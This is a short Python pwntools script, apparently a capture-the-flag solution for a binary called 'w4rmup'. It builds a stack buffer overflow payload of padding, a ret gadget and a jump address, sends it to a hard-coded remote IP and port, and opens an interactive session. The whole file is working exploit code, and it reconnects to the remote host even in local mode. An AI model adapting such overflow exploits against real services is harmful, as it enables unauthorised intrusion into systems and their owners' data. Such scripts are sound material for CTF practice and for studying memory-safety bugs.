from pwn import *

e = ELF("./w4rmup")
#libc = ELF("")

context.log_level = "debug"
context.terminal =["tmux", "split", "-h"]
context.binary = e.path

is_remote = "--remote" in sys.argv

if is_remote:
  r = remote("35.232.11.215", 49153)
else:
  #env = {"LD_PRELOAD": libc.path}
  r = process(e.path)

def debug():
  if not is_remote:
      gdb.attach(r)

debug()

ret = 0x0000000000401016

payload = 'A' * 24 
payload += p64(ret) + p64(0x4011fc)

r = remote("35.232.11.215", 49153)
r.sendline(payload)
r.recv()
r.interactive()
